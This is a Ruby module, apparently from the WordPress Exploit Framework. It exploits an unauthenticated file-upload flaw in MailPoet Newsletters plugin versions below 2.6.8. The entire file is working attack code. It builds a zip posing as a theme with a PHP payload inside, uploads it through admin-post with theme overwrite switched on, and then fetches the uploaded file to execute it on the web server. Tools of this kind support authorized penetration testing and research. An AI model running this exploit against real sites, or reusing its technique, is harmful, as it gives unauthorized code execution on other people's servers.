lib/wpxf/modules/exploit/shell/mailpoet_newsletters_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::MailpoetNewslettersShellUpload < Wpxf::Module
include Wpxf
def initialize
super
update_info(
name: 'MailPoet Newsletters Shell Upload',
desc: 'This module exploits a file upload vulnerability in versions '\
'< 2.6.8 of the MailPoet Newsletters plugin which '\
'allows unauthenticated users to upload and execute PHP scripts '\
'in the context of the web server.',
author: [
'Marc-Alexandre Montpas', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
['URL', 'http://www.mailpoet.com/security-update-part-2/'],
['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'],
['WPVDB', '6680']
],
date: 'Jul 1 2014'
)
end
def check
check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
end
def payload_body_builder(payload_name, theme_name)
zip_filename = "#{Utility::Text.rand_alpha(5)}.zip"
zip_files = {
"#{theme_name}/style.css" => '',
"#{theme_name}/#{payload_name}" => payload.encoded
}
builder = Utility::BodyBuilder.new
builder.add_zip_file('my-theme', zip_files, zip_filename)
builder.add_field('overwriteexistingtheme', 'on')
builder.add_field('action', 'themeupload')
builder.add_field('submitter', 'Upload')
builder.add_field('page', Utility::Text.rand_alpha(10))
builder
end
def run
return false unless super
emit_info 'Preparing payload...'
theme_name = Utility::Text.rand_alpha(rand(5..10))
payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
builder = payload_body_builder(payload_name, theme_name)
emit_info 'Uploading payload...'
res = nil
builder.create do |body|
res = execute_post_request(
url: wordpress_url_admin_post,
body: body,
params: { 'page' => 'wysija_campaigns', 'action' => 'themes' }
)
end
if res.nil? || res.timed_out?
emit_error 'No response from the target'
return false
end
if res.code != 200 || res.body.eql?('You are not allowed here.')
emit_info "Response code: #{res.code}", true
emit_info "Response body: #{res.body}", true
emit_error 'Failed to upload payload'
return false
end
payload_url = normalize_uri(wordpress_url_uploads, 'wysija', 'themes', theme_name, payload_name)
emit_success "Uploaded the payload to #{payload_url}", true
emit_info 'Executing the payload...'
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
return true
end
end